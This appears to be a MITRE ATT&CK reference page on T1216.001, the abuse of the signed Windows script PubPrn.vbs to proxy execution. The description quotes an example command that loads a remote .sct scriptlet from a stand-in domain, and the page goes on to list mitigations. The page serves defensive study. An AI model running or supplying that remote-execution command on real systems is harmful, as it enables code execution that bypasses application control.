MITRE ATT&CK / Techniques / T1216.001

System Script Proxy Execution: PubPrn

ID
T1216.001
Tactics
TA0005 Stealth
Sub-technique of
T1216 System Script Proxy Execution
Platforms
Windows
Data sources
Process Creation, Command Execution, Network Connection Creation, Module Load
Source
attack.mitre.org
MITRE last modified
12 May 2026

Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.[2]

Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.[3] To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.

In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).

Detection

Mitigations (2)

M1038 Execution Prevention

Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application control configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.

M1040 Behavior Prevention on Endpoint

On Windows 10, update Windows Defender Application Control policies to include rules that block the older, vulnerable versions of PubPrn.[1]

Groups (1)

References

  1. Microsoft_rec_block_rules
  2. pubprn
  3. Enigma0x3 PubPrn Bypass